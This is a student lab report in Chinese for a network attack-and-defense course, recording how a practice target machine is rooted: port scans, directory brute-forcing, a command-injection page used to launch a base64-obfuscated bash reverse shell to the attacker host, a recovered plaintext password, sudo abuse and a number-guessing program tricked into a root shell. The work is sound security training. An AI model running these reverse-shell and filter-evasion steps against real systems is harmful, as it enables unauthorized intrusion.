

《网络攻防实战》实验报告

第 5 次实验： 靶机 7

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一、实验目的

取得目标靶机的 root 权限。

我们将使用到以下攻击手段：主机发现、端口扫描、sql 注入、python 反弹 shell 脚本、.pyc 反编译，远程登陆

二、实验内容

1、靶机端口扫描

arp-scan -l

nmap -p- 10.0.2.12

2、靶机开放端口的服务发现：

nmap -p21,22,1337,7331 -sV -sC 10.0.2.12

在浏览器打开 10.0.2.12:7331

gobuster dir -u http://192.168.40.151:7331/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 100

路径爆破

```
(root@kali)~# gobuster dir -u http://10.0.2.12:7331/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 100

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url:             http://10.0.2.12:7331/
[+] Method:          GET
[+] Threads:         100
[+] Wordlist:         /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s

Starting gobuster in directory enumeration mode

/wish                (Status: 200) [Size: 385]
/genie               (Status: 200) [Size: 1676]
```

访问 <http://10.0.2.12:7331/wish>

发现可以执行命令，直接运行 `bash -i &>/dev/tcp/10.0.2.7/8888 <&1` 没有结果，猜测使用了 base64 编码屏蔽，最后使用 `echo YmFzaCAtaSAmPi9kZXVvdGNwLzEwLjAuMi43Lzg4ODggPCYxCg== | base64 -d | bash` 成功反弹 shell。

```
(root@kali)~# echo "bash -i &>/dev/tcp/10.0.2.7/8888 <&1" | base64
YmFzaCAtaSAmPi9kZXVvdGNwLzEwLjAuMi43Lzg4ODggPCYxCg==
```

```
root@kali: ~
File Actions Edit View Help
(kali@kali)~#
$ sudo -i
[sudo] password for kali:
(root@kali)~#
# nc -nvlp 8888
listening on [any] 8888 ... me then go on make a wish.
connect to [10.0.2.7] from (UNKNOWN) [10.0.2.12] 57748
bash: cannot set terminal process group (658): Inappropriate ioctl for device
bash: no job control in this shell
www-data@box7:/opt/80$ YmFzaCAtaSAmPi9kZXVvdGNwLzEwLjAuMi43Lzg4ODggPCYxCg== | base64 -d | bash
```

通过一些探查发现 creds.txt 文件，应该是 nitish 用户的密码。

```
File Actions Edit View Help
(root@kali)-[~]
# nc -nvlp 8888
listening on [any] 8888 ...
connect to [10.0.2.7] from (UNKNOWN) [10.0.2.12] 41250
bash: cannot set terminal process group (596): Inappropriate ioctl for device
bash: no job control in this shell
www-data@box7:/opt/80$ cd /home
cd /home
www-data@box7:/home$ ls
ls
nitish
sam
www-data@box7:/home$ cd nitish
cd nitish
www-data@box7:/home/nitish$ ls -la
ls -la
total 32
drwxr-xr-x 5 nitish nitish 4096 Nov 12 2019 .
drwxr-xr-x 4 root root 4096 Nov 14 2019 ..
-rw-r--r-- 1 root root 130 Nov 12 2019 .bash_history
-rw-r--r-- 1 nitish nitish 3771 Nov 11 2019 .bashrc
drwxr-xr-x 2 nitish nitish 4096 Nov 11 2019 .cache
drwxr-xr-x 2 nitish nitish 4096 Oct 21 2019 .dev
drwxr-xr-x 3 nitish nitish 4096 Nov 11 2019 .gnupg
-rw-r--r-- 1 nitish nitish 33 Nov 12 2019 user.txt
www-data@box7:/home/nitish$ cd .dev
cd .dev
www-data@box7:/home/nitish/.dev$ ls
ls
creds.txt
```

通过这个密码登录 nitish 用户:

```
www-data@box7:/home/nitish/.dev$ cat creds.txt
cat creds.txt
nitish:p4ssw0rdStr3r0n9
www-data@box7:/home/nitish/.dev$ su nitish
su nitish
su: must be run from a terminal
www-data@box7:/home/nitish/.dev$ python -c "import pty;pty.spawn('/bin/bash')"
<.dev$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@box7:/home/nitish/.dev$ su nitish
su nitish
Password: p4ssw0rdStr3r0n9

nitish@box7:~/dev$ sudo -l
sudo -l
```

成功拿到 sam 用户的权限

```
nitish@box7:~/dev$ sudo -u sam genie -cmd aaaa
sudo -u sam genie -cmd aaaa
my man!!
$ whoami
whoami
sam
```

发现了 pyc 文件:

```
Do something better with your life
$ cd /home/sam
cd /home/sam
$ ls -al
ls -al
total 36
drwxr-xr-x 4 sam sam 4096 Nov 14 2019 .
drwxr-xr-x 4 root root 4096 Nov 14 2019 ..
-rw-r--r-- 1 root root 417 Nov 14 2019 .bash_history
-rw-r--r-- 1 root root 220 Oct 20 2019 .bash_logout
-rw-r--r-- 1 sam sam 3771 Oct 20 2019 .bashrc
drwxr-xr-x 2 sam sam 4096 Nov 11 2019 .cache
drwxr-xr-x 3 sam sam 4096 Oct 20 2019 .gnupg
-rw-r--r-- 1 sam sam 807 Oct 20 2019 .profile
-rw-r--r-- 1 sam sam 1749 Nov 7 2019 .pyc
-rw-r--r-- 1 sam sam 0 Nov 7 2019 .sudo_as_admin_successful
$
```

将.pyc 复制到 kali,然后用 pyc 反编译一下发现需要猜数字。

```
root@kali: ~  
File Actions Edit View Help  
└─# wget http://10.0.2.12:6666/.pyc  
--2023-11-12 09:22:00-- http://10.0.2.12:6666/.pyc  
Connecting to 10.0.2.12:6666... connected.  
HTTP request sent, awaiting response... 200 OK  
Length: 1749 (1.7K) [application/octet-stream]  
Saving to: '.pyc'  
  
.pyc 100%[=====] 1.71K --.-KB/s in 0.01s  
2023-11-12 09:22:00 (141 KB/s) - '.pyc' saved [1749/1749]  
  
-rw-r--r-- 1 sam sam 1749 Nov 7 2019 .pyc  
-rw-r--r-- 1 sam sam 0 Nov 7 2019 .sudo_as_admin_successful  
$ python3 -m http.server 6666  
python3 -m http.server 6666  
Serving HTTP on 0.0.0.0 port 6666 (http://0.0.0.0:6666/) ...  
10.0.2.7 - - [12/Nov/2023 19:52:03] "GET /.pyc HTTP/1.1" 200 -  
□
```

再次运行程序，传入 num，使得 num 和 num 相等。

```
my man! :  
$ sudo /root/lago  
sudo /root/lago  
What do you want to do ?  
1 - Be naughty  
2 - Guess the number  
3 - Read some damn files  
4 - Work  
Enter your choice:2  
2  
Choose a number between 1 to 100:  
Enter your number: num  
num  
# id  
id  
uid=0(root) gid=0(root) groups=0(root)  
# █
```

三、实验结果

```
my man! :  
$ sudo /root/lago  
sudo /root/lago  
What do you want to do ?  
1 - Be naughty  
2 - Guess the number  
3 - Read some damn files  
4 - Work  
Enter your choice:2  
2  
Choose a number between 1 to 100:  
Enter your number: num  
num  
# id  
id  
uid=0(root) gid=0(root) groups=0(root)  
# █
```

四、实验中遇到的问题及解决方案

无

五、实验的启示/意见和建议

熟悉了一些基本的攻击方法，当路径爆破没有结果时候，先不要换方法，尝试用更大的字典爆破。

附：本次实验你总共用了多长时间？2 小时。

包括学习相关知识时间、完成实验内容时间、完成实验报告时间。（仅做统计用，时间长短不影响本次实验的成绩。）